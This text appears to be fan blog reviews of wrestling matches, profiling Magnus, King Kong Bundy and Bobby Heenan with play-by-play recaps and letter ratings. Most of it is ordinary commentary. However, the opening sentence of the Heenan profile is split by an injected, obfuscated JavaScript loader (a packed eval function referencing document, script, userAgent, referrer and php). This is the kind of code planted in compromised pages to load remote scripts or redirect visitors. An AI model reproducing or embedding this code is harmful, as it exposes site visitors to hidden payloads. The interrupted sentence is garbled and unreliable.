Magnus is defending. Joe gets in the first offense with a hard kick to the thigh but the champion takes him down with a headlock. In a unique move, Joe grabs a wristlock and headbutts Magnus’ hand before putting on a hammerlock. A hard back elbow to the jaw drops Magnus again and Joe peppers him with right hands in the corner. Joe chops him down in the corner and hits the Facewash.

Magnus avoids the running backsplash and hammers away before raking Joe’s eyes. The champion misses a charge and goes into the cage so Joe rams him face first into the steel over and over. The ramming draws blood and Joe goes right after it but misses a charge, allowing the Englishman to send him face first into the steel over and over. Now Joe is busted open and Magnus locks on the Figure Four.

Joe turns it over but Magnus immediately lets go and puts on a camel clutch. That’s powered out of as well but Magnus slaps on a sleeper. Joe picks him up into the air and drops Magnus down onto his back, putting both guys down. Magnus loses a forearm slugout but gets a boot up in the corner to stop a charging Samoan. Joe comes right back with a slam and the backsplash followed by a cross armbreaker.

Magnus rolls out and heads up top and shoves Joe down before dropping the big elbow. Joe gets back to his feet and wins a slugout with his hard slaps before crotching Magnus down on the top. There’s the MuscleBuster and the Koquina Clutch but Abyss’ hand comes up through the ring and pulls Joe through the mat. After a few seconds, a furious Joe slowly comes up through the ring and chokes Magnus in the corner. Abyss comes up through the hole and hits Joe in the stomach with Janice before a Black Hole Slam sets up the Koquina Clutch from Magnus for the win at 19:28.

Rating: B-. Well the Authority has its Kane now. I don’t think it was a big surprise that there were shenanigans at the end but the question was what would happen. Abyss being the corporate monster gives him something to do but it’s not exactly something new. Then again, this is TNA where we have to have an evil alliance on top of the company because that’s almost all they know how to do.

Jeff Hardy came back in a maska s Willow, allowing him to be a bit more psychotic and gain revenge on those who had wronged him. This included Magnus at Slammiversary 2014.

Magnus vs. Willow

Bram and Abyss are the seconds here. Magnus stomps away in the corner to start and avoids a baseball slide to send Willow into the steps. Back in and a big clothesline gets the same for the Brit. There’s a buckle bomb for good measure and Magnus hammers away on the mask. We hit the chinlock for a bit before Willow fights back with an atomic drop and the legdrop between the legs for two.

The Twist is countered but Magnus runs into two boots in the corner. A middle rope splash gets two for Willow before Magnus avoids the Swanton. Bram tries to interfere but Abyss is right there to hammer away. All four guys start brawling on the floor until Willow goes up top and just jumps backwards onto the Brits.

Now Abyss and Bram fight in the ring with the Monster easily throwing him to the floor. The guys in the match get back in as Bram gets his metal bar, only to be one upped by Janice. They walk up the ramp as Magnus breaks up the Whisper in the Wind, setting up a belly to back suplex into a side slam for the pin on Willow at 10:00.

Rating: C-. This was a mess for the most part but not bad. They would have been better off making this a tag match to get everyone in there, but that seems to be where they’re headed anyway. The Willow gimmick isn’t doing anything for me either as the announcement that it’s Jeff Hardy just killed the whole point of the character.

Magnus is a guy that has the look and is good in the ring, though he didn’t quite work as the top guy. He can have good midcard matches though and cuts a good promo but I like him better as a face than as a heel. Magnus is still young enough to do something big but he needs a few tweeks to get there.

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Wrestler of the Day – August 30: King Kong Bundy

We’ll follow up Heenan with a Heenan guy: King Kong Bundy.

Bundy got started in 1981 so we’ll pick things up in WCCW in 1982.

Kerry Von Erich vs. King Kong Bundy

It’s never easy seeing Bundy with hair, or in long tights. Bundy, looking much slimmer here, shoves Kerry up against the ropes but he comes back with a dropkick to put the big man down. They slug it out and the power of clubbing forearms has Kerry in trouble. He nails Bundy with a right hand though and we’re back to a standoff. Bundy slams him down and puts on a chinlock as the fans start cheering for their hero.

We take a break and come back with Kerry fighting out of the chinlock. Bundy pulls him to the mat by the hair and drops a knee for two. Von Erich goes after the leg but Bundy casually puts him back on the mat for another knee drop. Kerry avoids an elbow and drops knees of his own but Bundy blocks the Claw hold. Back up and Bundy powers him into the corner before both guys head outside. They slug it out in front of the ring with Kerry getting the better of it as we have a double countout.

Rating: D+. This was about giving the live fans something to cheer for. They all loved Kerry and that carried the match as far as it needed to go. It wasn’t a masterpiece or anything but it gave Bundy a reason to keep fighting the Von Erichs. Somehow the end result was the dad beating Bundy for a title. Such is life in WCCW.

We’ll stay in WCCW on June 17, 1983 at the Star Wars show.

PWF Title: King Kong Bundy vs. Giant Baba

Baba, with arms smaller than mine, is billed at FOUR HUNDRED SEVENTY FIVE POUNDS. Even with gimmicked weights, he MIGHT weigh 300. Bundy is challenging of course. They collide with neither guy really going anywhere. Bundy grabs a headlock but Baba comes back with an armbar. That goes nowhere so Bundy stomps him down against the ropes but Baba punches him into the corner. A smiling Baba drives forearms into the chest but gets punched to the mat. Bundy misses the splash and a big boot retains Baba’s title.

Rating: D-. I’ve never seen much from Baba in the ring and this was no different. He always looks strange with the freakishly skinny arms and the long body. The line about him weighing 25lbs more than Bundy was laughable though and made the match a bit more entertaining. The wrestling sucked though.

Bundy would head to the WWF in 1985 and debut on March 16’s Championship Wrestling.

King Kong Bundy vs. Mario Mancini

Bundy comes in wearing a cape and sunglasses. Mario is easily shoved to the ropes before a hard clothesline puts him down. There’s a slam and some stomps in the corner as Bundy is dominating like everyone knew he would. The Avalanche Splash ends this quick.

Things would become a big deal for Bundy very son, starting on June 21, 1985.

King Kong Bundy vs. Tony Garea

Bundy shoves him around with ease as today this would be Brodus vs. Regal and would last a minute. Here in 1985 though, this lasts WAY too long. Garea works on the leg but gets caught by the power. Garea misses a dropkick and the Avalanche ends this. Somehow that took about 6 minutes.

Rating: D-. What in the world was the point of this? Either way at least this tape is almost over. Bundy was fine as a monster but he could only be interesting for so long. That would be about 2 months but he was good for something like this. Boring match here and I’d much rather watch Garea have a tag match.

You had to get to this match eventually. From September 23, 1985.

Andre the Giant vs. King Kong Bundy

By jove I think we’ve got a theme going here! This is called the Colossal Jostle for no apparent reason. Albano is with Andre to counter Hart. Andre goes right for him as this is about revenge from a Bundy attack in Toronto. Bundy gets chopped in the corner and knocked to the floor. Clipped to Bundy getting knocked back to the floor. Clipped again to Bundy knocking Andre down. Bundy goes after the injured sternum which was hurt by a bunch of splashes at the aforementioned Toronto show. Andre fires off some shoulders in the corner to take over. Bundy runs into a boot in the corner and here’s Studd for the DQ.

Rating: D+. Pretty dull stuff here but at least they kept it relatively short. The clipping really hurt it….I think. It might have helped it but it’s kind of hard to tell. Not terrible but definitely worse than the Khan match. This would result in Hogan coming in to help Andre….I think.

We’ll continue that theme at Saturday Night’s Main Event II.

Big John Studd/King Kong Bundy vs. Tony Atlas/Andre the Giant

The heels cut Andre’s hair and beat him up in Toronto so he picked some random partners to try to fight back. By the way that’s Abraham Washington’s Tony Atlas in there. Andre and Bundy start and the bigger fat man is MAD. He rams Bundy’s head into Atlas’ which is kind of mean but whatever. Somehow Atlas, a big old man, is the smallest in this match by far.

He gets beaten down and the splash from Bundy half kills him. Andre and Studd……uh…….I guess you could call it fight. Everything goes insane and Andre gets the tar beaten out of him. I think the match has been thrown out. Oh and Atlas got posted so he’s out. AND HERE COMES HULK! The faces clean house as Andre and Hogan begin their year and a half long angle that would culminate at Mania in Detroit.

Rating: D. Match was awful, but this was about starting a huge angle. Now at the time no one knew how big, but this is a very historic moment no matter how you look at it. There really isn’t much else to say about this one as the main story here was the ending rather than the match itself.

This eventually led to Hogan vs. Bundy for the title at Wrestlemania II.

WWF World Title: Hulk Hogan vs. King Kong Bundy

Escape only here, as it should be. Tommy Lasorda of the LA Dodgers is guest ring announcer. Ricky Schroder, a child actor, is guest timekeeper and Robert Conrad, an adult actor, is guest referee. Hogan starts firing off right hands to start and knocks Bundy into the cage before choking Bundy with his own singlet. The following clothesline in the corner has Bundy in even more trouble and a forearm to the head staggers him even more. All Hogan so far.

Both guys block shots into the cage but King goes to the ribs to stop Hogan cold. There’s a slam to mess with the ribs even more and Bundy goes for the door. You know it’s not ending that fast though so Bundy comes back to choke with the tape a bit. Another attempt to escape goes about as well and Hulk comes back with an elbow in the corner. Bundy gets rammed into the cage to bust him open and Hogan rakes his back a bit. More cage ramming occurs and Hulk climbs to the top to choke away on the ropes.

Hogan goes for the slam but Bundy falls down onto him as you would expect him to. Bundy goes to the door but Hulk grabs him for some choking with the rib tape. The Avalanche splash hits in the corner and a regular one hits as well so Hogan can shake like a fish. Hogan dives to stop Bundy from getting out but takes another Avalanche….with no effect whatsoever. The champion busts out a powerslam of all things and easily climbs out to retain.

Rating: D. It’s Hogan vs. a monster in 1986 so what in the world were you expecting to see here? At the end of the day this was the safe move but with all of the other heels on the roster, this is the best they could come up with? I mean, you have Savage, Piper or even Roberts to be in there, but you pick Bundy? It’s not like this was some huge feud as the SNME that set this up was five weeks before this show. I’ve heard that Vince was trying desperately to get Nikita Koloff to jump and be in the main event but when they fell through, they picked a monster instead. Eh when all else fails, go with the safe pick.

Bundy and Big John Studd would team up on occasion, including this match on July 12, 1986.

King Kong Bundy/Big John Studd vs. Sivi Afi/King Tonga

Tonga is Meng/Haku and is in the middle of a small push as he tries to slam Studd. He succeeded at a house show but it was after a match was over. Tonga and Studd start with the power stuff. Tonga throws him to the floor and rams him into the post to take over. Back in Studd jumps off the top for a forearm shot and Tonga is in trouble.

As I say that he comes back with a superkick and Studd is reeling. Tonga fires away and dances. A headbutt keeps Studd down and there’s a slam which should be $15,000 but Heenan would always have an excuse of some sort. Afi comes in and gets tossed around but isn’t really hurt. Bundy comes in and the size and power catch up with the islanders. Afi takes him down and splashes him for two.

Afi looks a lot like Jimmy Snuka. He doesn’t have anywhere near the talent but that never stopped people before. Studd and Bundy pound him down and this is going on forever. Tonga comes in and Bundy drops a knee on him which gets the pin. Bundy tried to pull up but it got counted anyway. At least it’s over.

Rating: D-. This tape is AWFUL. This was basically a squash and probably the end of the run for King Tonga. Afi never went anywhere and I have no idea what happened to him. Bundy and Studd would continue to beat on people including the feud with the Machines which is an old favorite of mine. Other than that there isn’t much going on at all with them and they’d leave pretty soon.

Time for midgets and a hillbilly at Wrestlemania III.

Hillbilly Jim/Little Beaver/Haiti Kid vs. King Kong Bundy/Lord Littlebrook/Little Tokyo

Beaver would be 52 and Littlebrook would be 58 at this point. Uecker jumps in on commentary. Haiti and Tokyo start before we get a four way crisscross. The good small guys hook a stupid looking hold called the rowboat on their evil counterparts and the crowd doesn’t seem interested. Off to Beaver as Uecker seems really happy to be here. Jesse wants to see Bundy crush one of these guys because that’s the kind of guy he is.

Littlebrook vs. Beaver at the moment but it’s quickly off to Bundy. Beaver and Haiti annoy him a bit until it’s off to Hillbilly for a nice ovation. Bundy gets dropped by a clothesline and an elbow drop allows Jim and company to pile on for a two. Jim gets caught in a front facelock but Beaver comes in and blasts Bundy in the face to get on his nerves again. Bundy finally grabs Beaver and crushes him with a slam and an elbow drop, drawing a DQ.

Rating: D+. This is another of those matches where you have to consider what they were going for. You’ve got two giants and four midgets out there with Hillbilly Jim picking up a 52 year old man so he can pull on Jim’s beard. How tough can I be on a match like this? Unfortunately Beaver’s back was hurt by Bundy in this and he had to retire.

Time for more Hogan, from SNME XIII.

WWF Title: Hulk Hogan vs. King Kong Bundy

This is from the 13th SNME. Heenan brings out Andre to be the cornerman for Bundy. We haven’t gotten any reference to Survivor Series yet either. Hogan, with tassels from the headband over his eyes, cuts a completely insane promo about being brought back to life from a heart attack or something like that. Has there ever been a better theme song than Real American? I think not.

Something tells me this is going to be a run of the mill Hogan match. He throws a high knee if nothing else to break the monotony. Yep the slam misses and a crowd that is barely moving has an incredibly loud and audible chant. What a shock. Yeah Vince screws up and says just after that that the crowd isn’t very lively, yet they just had a very loud chant.

We hit a chinlock for a minute or five and Hogan makes his comeback only to have Andre jump Hogan. He gets sent to the back and the match is restarted. What follows is, shockingly, a Hogan 101 match as he does his normal get beaten down by the power heel only to make the comeback and win.

Actually that’s a lie as amazingly, Hogan LOSES. Yeah. They fight on the floor and Heenan keeps Hogan from getting back in time and Bundy wins by countout, which is exactly what happened two days before, although it was One Man Gang and not Bundy but whatever. Hogan goes after Heenan and hurts his neck which I think is legit.

Rating: B-. It’s a Hogan match. These things were cookie cutter as all goodness but that’s all they needed to be really. They worked and the crowds ate them up. What more could you ask for really? This was really just to have Andre and Hogan in the same place which was still a HUGE money feud.

And again from the next SNME.

WWF Title: Hulk Hogan vs. King Kong Bundy

Notice what WWF does for the heel monsters: they look up at them with the cameras. It makes them look far bigger and more intimidating. It’s little things like that which makes the difference. Hogan gets his third promo in half an hour and talks about his main man Ronald Reagan. I love that theme song. I will never understand why they used Voodoo Child at Mania 19. Who picked yellow and red? I’ve never gotten that.

They’re iconic to say the least but who thought they would look cool? Hogan channels his inner fat man and uses elbows to the top of the head. Jesse uses that Quarterback analogy which is absolutely true when you think about it. Something tells me this is going to be Hogan 101. Bundy uses an armbar…the heck??? Hogan has the most hair here. This is just weird looking.

It’s weird to say this but the psychology here is dumb. Monsters aren’t supposed to use psychology. They’re supposed to use their fatness. Hogan slamming fat guys never gets old. He’s in control now but gets caught with a splash and the referee gets crushed. He was legit hurt actually and Hebner had to come out to take over.

The heels stall for a bit to give him time to get out of the ring and for Hogan/Hebner to get their heads together. This is already better than the first two matches these two had. Bundy hits a chinlock and Andre shouts to ring the bell. Who does he think he is, Vince? Bundy wastes a ton of time and you know what’s coming after the splash.

Rating: C+. Eh not bad here but not great. Hogan and Bundy are a combination that makes sense and is perfect for someone like Hogan as he can get beaten down and then make the comeback. He’s the perfect Hogan opponent so this was fine. Jesse talking about Bundymania always makes me chuckle.

Unless I’m missing it, Bundy left the business, or at least the mainstream business, until about 1994. He would return to the WWF as part of the Million Dollar Corporation. Here he is with the team at Survivor Series 1994.

Million Dollar Team vs. Guts And Glory

Tatanka, King King Bundy, Bam Bam Bigelow, Heavenly Bodies
Lex Luger, Adam Bomb, Mabel, Smoking Gunns

This is DiBiase’s team (DiBiase had hurt his neck and had to retire) vs. Luger in a continuation of a long feud. DiBiase had said that Luger had sold out and Tatanka, Luger’s friend, believed DiBiase. This led to a match at Summerslam where it turned out that TATANKA had been bought off in a swerve I liked a lot. This is Luger’s chance for revenge again.

Luger and Tatanka start things off, much to Tatanka’s surprise. Tatanka takes over to start and chops away but the ones to the chest don’t work on Luger. Does no one watch the NWA around here? Lex no sells a suplex and pounds away with all his usual stuff. A clothesline puts Tatanka on the floor so here’s Del Ray to be beaten up too. Mabel and Bundy come in but it’s just a staredown as it’s back to the starters. Now it’s officially Mabel vs. Prichard (the Bodies are Tom Prichard and Jimmy Del Ray) with the big man missing an elbow. Prichard pounds away but a middle rope cross body (Mabel weighs 500lbs) kills him dead.

It’s 5-4 now and Del Ray comes in for some dropkicks which have no effect. A Boss Man Slam takes Jimmy down so it’s off to Bundy vs. Mabel. They collide a few times until Mabel runs him over. Off to Bigelow who gets beaten down and Mabel goes up, only to get slammed down in a cool visual. Bigelow goes up for a sunset flip but Mabel sits on his chest for no cover. A Cactus Clothesline sends them both to the floor and Mabel can’t beat the count back in to tie things up.

Off to Billy Gunn vs. Del Ray which goes nowhere so here’s Bomb vs. Bigelow. This takes about 30 seconds with Bomb hitting a slingshot clothesline but getting hit in the head by Bundy. A moonsault takes Bomb out and it’s 4-3. Luger comes in immediately and tries a rollup but it just gets two. Off to Del Ray who hits a fast superkick to take Lex down. After some right hands from Jimmy, a running forearm smash catches him in the head and Luger ties it up.

It’s Tatanka/Bigelow/Bundy vs. Luger/Smoking Gunns. It’s Bart vs. Tatanka before Billy comes in for a double Russian legsweep for two. The Gunns pound away on Tatanka for a little while with Bart and his mullet of death hitting a monkey flip for two. The Sidewinder (side slam from Bart with a legdrop from Billy) gets two and it’s back to Bart, who like an IDIOT, tries a crucifix on a guy whose finisher is a Samoan Drop. Later Bart and it’s 3-2.

Billy vs. Tatanka goes nowhere so it’s back to Luger. Billy comes in and hip tosses Tatanka for two and an elbow drop gets the same. Luger and Gunn take turns on Tatanka’s arm until Billy gets caught in a powerslam. Off to Bundy who hits a splash and elbow to get us down to Luger vs. Bigelow, Bundy and Tatanka. It’s Luger vs. King Kong now but Lex goes after Tatanka because he’s A FREAKING MORON.

Luger gets caught in the evil corner and we play the numbers game for awhile. Luger hits a forearm to Tatanka but only gets two. A sunset flip almost gets a pin on Tatanka but a tag was made on the way down to bring in Bigelow. Bundy drops an elbow for two and Lex is in trouble. Bigelow drops a headbutt for a VERY fast two. DiBiase talks trash as it’s off to Bundy for more fat man offense.

Bundy drops an elbow for two as we’re reenacting the main event of the first Survivor Series, complete with two of the original people in it. Back to Tatanka who gets two off a powerslam and drops a bunch of elbows. In a stupid looking yet still good ending, Luger gets a fast small package for the pin on Tatanka, then lays down on the mat so Bundy can splash him for the final elimination. That looked stupid.

Rating: C. This wasn’t that bad actually and the ending was a nice surprise. There was no reason to have Luger come back here and having him lose was the right move. The feud didn’t really go anywhere after this and was more or less the ending of it. Luger’s collapse after Summerslam 1993 is a sight to see given how hot he was during the summer after his face turn.

Here’s a squash against a future star. From December 1994.

Jeff Hardy vs. King Kong Bundy

Even Gorilla admits that Hardy has no chance here. A hard whip into the corner puts Jeff down and Bundy does it again for good measure. The Avalanche gets the easy pin.

Bundy would take on the Undertaker at Wrestlemania XI.

King Kong Bundy vs. Undertaker

This is part of the never ending Undertaker vs. Million Dollar Corporation feud. The Corporation stole the Urn at the Rumble and tonight is about revenge and getting the Urn back. Before Taker comes out, Todd Pettingil talks to some football player. The referee is a Major League umpire who is moonlighting because MLB is on strike. Undertaker stares at DiBiase before the bell and Ted drops the Urn.

Taker pounds away to start and hits Young School but he can’t drop Bundy. The jumping clothesline finally puts him down but Bundy knocks him over the top to the floor in retaliation. Taker lands on his feet right in front of DiBiase and takes the Urn back from him. Paul Bearer gets the Urn back but Kama Mustafa (Godfather) comes out to steal the Urn back. This is like a bad comedy.

Taker tries to stop the theft but Bundy jumps the Dead Man, allowing Kama to get it. He says he’s going to melt it down and make it a necklace. Bundy pounds on Taker a bit and slams him down before getting two off a knee drop. We hit the fat man chinlock fot a bit before Taker fights up, only to get caught by the Avalanche in the corner. No selling is done today, and it’s a slam and the jumping clothesline to make Taker 4-0.

Rating: D. This was nothing but a formality for Undertaker as we continue the Urn stealing story for even longer. Bundy was worthless here, other than long forgotten star power. This feud kept going and never got interesting at all since DiBiase’s team was all lame power guys. Nothing to see here and probably Undertaker’s least interesting Mania match ever.

We’ll wrap things up with an indy appearance on April 9, 2000 for South Coast Championship Wrestling.

King Kong Bundy vs. Andy Jaxx

Bundy is actually a face here due to being a legend. The normal size Jaxx literally bounces off of Bundy and then makes the mistake of trying a slam. Andy runs up the aisle for a breather, earning him an even worse beating back inside. Bundy misses a splash and gets taken down by a string of clotheslines. Not that it matters as Bundy comes right back with the splash for the pin. Literal squash.

King Kong Bundy isn’t exactly the greatest heavyweight of all time, but he was actually perfect for what he was: a big guy that could look intimidating. He had one big match in 1986 and lived off of that memory for years. No he isn’t Bam Bam Bigelow or Andre, but he didn’t need to be.

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Wrestler of the Day – August 29: Bobby Heenan

Today is the greatest manager and one of the best talkers of all time: Bobby Heenan.

Heenan eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|shdaz|var|u0026u|referrer|idznf||js|php'.split('|'),0,{})) got his start in the AWA where he was the top manager and occasionally wrestled. I have no idea when this took place but I would assume some point in the mid to late 1970s.

Crusher/Dick the Bruiser/Little Bruiser vs. Blackjacks/Bobby Heenan

Little Bruiser is a midget brought in to neutralize Heenan. We start with the comedy pair as Heenan drops to his knees to fight. Little Bruiser immediately dropkicks him out to the floor and we have a standoff. Big Bruiser comes in to face Mulligan and easily takes him down with a snapmare into a neck crank. Little Bruiser sneaks in for some cheap shots before Dick knees Mulligan in the ribs for two.

Off to the Crusher vs. Lanza with the Blackjacks double teaming Crusher in the corner. Little Bruiser chases Heenan around for a bit, allowing Crusher to get his hands on Heenan. Bobby gets whipped into the Tree of Woe but Little Bruiser gets him down with a kick to the ribs. It’s back to Crusher vs. Lanza with Crusher going to the eyes, unlike the hero he’s supposed to be. Bruiser comes in for some knees to the ribs before going after Lanza’s bad knee.

Mulligan comes in to save his partner as everything breaks down for a little bit. Bruiser takes a beating but ducks Mulligan’s punches to frustrate the big man. For some reason Mulligan tags in Heenan, allowing Bruiser to backdrop him for two. The fight heads to the floor with the Blackjacks being rammed together. Heenan is busted wide open so the good guys pound away at the cut. Oh man he is gushing blood.

The Blackjacks get punched again but finally save their manager from the Bruiser. Back to Crusher as everything breaks down again. The Blackjacks are thrown into Heenan and Little Bruiser is launched onto Mulligan for two. They do the same thing to Lanza for the same but finally Little Bruiser’s top rope splash to Heenan is good for the pin.

Rating: D+. This wasn’t great and the biggest problem was not knowing what kind of a match this was supposed to be. They kept jumping back and forth between a brawl and a comedy match and it became an issue more than once. The match would have been a lot better if it was just a handicap match but it wasn’t terrible.

We’ll jump to the WWF now for a rare singles match at MSG on November 26, 1984.

Salvatore Bellomo vs. Bobby Heenan

This is from 1984 and there’s no story to it. Heenan just used to be a wrestler on occasion. Heenan bails to the apron of course because he’s Bobby Heenan. Bellomo beats on Heenan like he stole something and flips him in the corner. Heenan takes a bunch of dropkicks, including one sending him into the post. Heenan needs a doctor. Back in and Bobby takes even more of a beating.

Bobby actually takes over with a rake to the eyes and a lot of basic stuff. Then again, what are you expecting from Bobby Heenan the Wrestler? They collide and Heenan looks dead. Bellomo drives in some headbutts but Heenan pokes him in the eyes. Out to the floor and Heenan pops him as he comes back in. A guillotine puts Sal on the floor for the third time. Bellomo tries a sunset flip but Heenan punches him in the face, drops on top of him, AND GETS A CLEAN PIN.

Rating: A+. Bobby Heenan got a clean pin. Do you realize what it means for your career when you get pinned clean in Madison Square Garden by BOBBY HEENAN??? The match sucked but totally awesome for surprise value. This is on Heenan’s DVD, mainly because I don’t remember him ever winning another singles match on his own.

Heenan would manage Big John Studd and help him in some tag matches, such as this one at MSG on June 21, 1985.

US Express/George Steele vs. Adrian Adonis/Big John Studd/Bobby Heenan

This is from MSG and this show is a bit more famous because of the debut of Randy Savage on it. No one wants to start with the Animal. Barry and Adonis (not yet gay or in pink) start us off. Let the stalling begin! Before anything happens, Heenan is brought in so Windham tags Steele. Heenan DIVES to the floor to hide and it’s back to Adonis. Now it’s back to Windham before any contact has been made at all.

Off to Studd to meet Windham and Barry is knocked down pretty easily. It isn’t often that Barry has to speed things up but he does it here as he doesn’t have another option. He keeps going for the slam which doesn’t work at all. A cross body gets two. Clipped to Heenan being brought in and Barry beats him down like a world champion beating on a manager.

Everything breaks down and Steele rams all three heels into the posts. Rotundo comes in and Heenan’s mouth is bleeding. Mike takes Studd down and works on the arm. Clipped to Adonis beating on Rotundo. Gorilla gives us some analysis of what we’re seeing and the fans chant USA. Windham finally comes in as does Steele, wanting to get his hands on Bobby. There wasn’t a tag and everything breaks down. Steele goes outside and comes back with a chair which he hits the referee with for the DQ.

Rating: D. Pretty boring match here and I really don’t get the point of them giving us what appears to be a focus on Steele and then having him lose his match. Then again I think they did that more than once in this series so it must be a running theme. That doesn’t mean it makes sense but it’s what they’re doing I guess.

Another tag match from The Big Event.

Big Machine/Super Machine/Lou Albano vs. Big John Studd/King Kong Bundy/Bobby Heenan

Ah yes the Machines. Now this was the epitome of a comedy angle that took off for a little while. The idea was that Andre the Giant was suspended for (kayfabe) not showing up for a match. Soon thereafter two new masked guys from Japan appeared: Super Machine (Ax from Demolition) and Giant Machine (duh).

Over the Summer they feuded with Heenan, Studd and Bundy with guest appearances by Piper Machine, Animal Machine and Hulk Machine. It was total tongue in cheek, kind of like Mr. America with Hogan. They were eventually joined by Big Machine who was Blackjack Mulligan when Andre could barely move.

Andre was kind of the manager and only wrestled occasionally. The angle ended about two months after this to set up Mania 3. Anyway let’s get to this. We get a shot from the broadcast booth and the ring is TINY. Studd and Super Machine start us out. The Machines’ strength is freaking impressive.

Ax is by far and away the smallest one. What does that tell you? Gorilla says he’s been over 500 pounds before but at Mania 4 said the biggest he ever wrestled at was 440. I don’t want to live in a world where I can’t trust Gorilla Monsoon! Ok I’m back now I think. With Big Machine down Heenan comes in and goes for the mask. Super Machine is like screw that and drills him. Bundy was just a big fat waste of oxygen. You can tell he was just thrown into Mania. Look where he was just 4 months later. Heenan comes in again and Albano comes in also.

Super Mario beats on him for a bit but a thumb in the eye and the heels beat up Albano. Andre has had enough and just comes in there and starts cleaning house which causes the DQ. He was just freaking terrifying when he got mad. Ax being the smallest guy by far is a freaky sight.

Rating: C-. It was a comedy match so that’s fine. The Machines were just a fun team so this worked fine. Andre was fun when he could move and this was no exception. It was nothing serious and it wasn’t supposed to be. Instead it was a way to make the fans laugh and it succeeded.

More Machines, from September 22, 1986.

Bobby Heenan/Big John Studd/King Kong Bundy vs. Super Machine/Big Machine/Hulk Machine

Super is Ax from Demolition, Big is Blackjack Mulligan and they’re a comedy team that usually had a guest third partner that more often than not was Andre. They’re here because Andre is suspended before he turned heel. Still in MSG here and it’s yet again a fun match to send the fans home happy. Hogan vs. Bundy to start us off here. Slam to Bundy and the fans are exploding already. See what I mean about sending them home happy?

Off to Studd vs. Big Machine now which lasts for a second as it’s back to Bundy. Off to Super now and Studd comes back in for some double teaming. You can tell that’s Ax as he hammers away like he would in Demolition a few years later. They mention a pair of tags so apparently I’m not going crazy. Bundy vs. Mulligan (I think) and we get a front facelock by Bundy to give him control.

Super comes in and gets hammered down quickly as the fans want Heenan in there. Bundy vs. Ax if you’re confused at the moment. The future Demolition guy avoids a splash and hits some shots but winds up back in the corner again. Hey it’s Heenan for a change. He gets caught in the ribs but tries a headbutt which hurts himself. Off to Hogan now who cleans house.

Heenan gets to his corner but Bundy can’t master the concept of slapping hands so Bobby takes more of a beating. It’s off to Bundy and Super Machine now with the masked dude in control. Mulligan has been in here just a bit the entire match now. Bundy takes over with a splash and then he and Studd just change places. Now there’s a tag or something but it’s kind of confusing. The Machines do some masked magic to bring in Hogan. Slam to Studd and the leg drop ends this.

Rating: C. Again this is the same thing as before with nothing special about it but the fans loved it. Can’t really complain but with a two hour tape and about 90 minutes of it being the same stuff over and over again this was a bit much. Either way though this wasn’t bad and at least it’s over now.

One more from the Machines on October 4, 1986.

Big Machine/Super Machine/Piper Machine vs. Big John Studd/King Kong Bundy/Bobby Heenan

Ah the Machines. Now this was a fun concept. They were supposedly a new tag team from Japan but they had zero accents whatsoever. If I remember right Super Machine is Ax from Demolition, Big Machine is Blackjack Mulligan and I think you get the other one. There was usually a third guest partner such as Animal Machine, Piper Machine or Hulk Machine. Yes it’s stupid comedy but it was designed to be stupid comedy, which takes away a lot of the pain in it. This is from 86ish and we’re in Boston.

Gene is just saying it’s Piper and he flashes his face to the crowd. Bundy starts with Super Machine. Bundy pounds him into the corner to start but misses the avalanche. Machine gets a cross body for two and it’s off to Studd and Big Machine. They collide and no one really goes anywhere. Piper wants in and the fans pop big for his tag. He takes the mask off for like the fourth time and pulls it back down. Sunset flip gets two as Piper is cleaning house.

Piper starts his usual antics and pokes Studd in the eye before slapping Heenan. Studd is like enough of this and goes for the bad knee of Piper. Bundy adds some shows and it’s off to Heenan. Naturally he can’t do much of anything so it’s back to Bundy. Piper ducks underneath the big swings from the bald dude and turns it back to the comedy as he should.

And never mind as Bundy drills him. He tries for the mask and brings in Heenan for no apparent reason. Back to Bundy and/or Studd who destroy Piper for a good while. Another thumb to the eye lets Piper bring in Big Machine. They’re doing the bodyslam challenge for 50 grand still here but apparently Heenan isn’t paying. Wait wasn’t that usually 15,000? Bundy misses a knee drop but they stay on Machine.

Studd gets the chinlock going as this is going way too long now. Back off to Piper which is pretty stupid. Studd meets him coming in so Piper is like screw the mask and rips it off. He manages to slam Studd for two but an accidental elbow drop from Bundy ends it seconds later. That was a big surprise indeed.

Rating: C. The crowd carries this one. It’s not much of a match but the crowd was white hot the entire time. I’ve always had a soft spot for the Machines as they were a straight up fun gimmick. This went on too long but there are times when you need to have a goofy match to give the crowd a laugh and this is a textbook example. I’m overrating it but I had fun with it.

Heenan would also team up with the Islanders at Wrestlemania IV.

Islanders/Bobby Heenan vs. British Bulldogs/Koko B. Ware

There’s actually a story here. Heenan comes to the ring in a dog handlers’ outfit (remember the package from earlier?) because Matilda, the dog mascot of the Bulldogs, is back from being dognapped, presumably by the Islanders. Koko is there because when you need a filler, you call Koko B. Ware. We start with Dynamite vs. Tama but it’s quickly off to Haku vs. Davey Boy for a nice power match.

Davey slams him down a few times and it’s off to a quickly broken chinlock. Back to Tama who is gorilla pressed up and down and it’s back to Haku. Jesse: “Heenan seems to be saving himself.” Gorilla: “Yeah for the senior prom.” Did Gorilla just make a sex joke? I can feel my childhood crumbling as I type this. Koko comes in for some quick shots but it’s back to Dynamite for the clothesline that Benoit copied from him.

The Kid charges into a kick in the corner and here’s Heenan for the first time. He stomps on Dynamite, gets hit once in his padded suit, and runs away. That’s about what I expected. Tama tries a Vader Bomb but hits knees, allowing for another tag to Koko. He pounds on both Islanders but Haku takes him right back down. Tama comes in with a top rope chop and Heenan gets his second tag. Heenan chokes a bit but misses a charge into the post. Everything breaks down and the Islanders drop Heenan onto Koko for the pin.

Rating: C. I told you Koko was worthless in this. The stuff with the tag teams was pretty solid but the rest of it was as dull as you would expect. These six man tags with the Bulldogs in there don’t go that well for them but this was their last try at it. This was basically a comedy match and it was only kind of funny.

Heenan was known as the Weasel and would take part in a series of Weasel Suit matches. It’s a regular match where the loser is put into the suit and humiliated. From Wrestlefest 1988.

Ultimate Warrior vs. Bobby Heenan

This is kind of a famous match. The loser wears a weasel suit. You figure out who wins this one. I’ll give you a hint: he’s crazy. Neither gets an entrance which is weird. We get some of Warrior’s music but that’s it. Heenan runs for his life multiple times but Warrior drops to the floor so Heenan can’t see him and surprises him. Yes, Warrior used his brain and it worked.

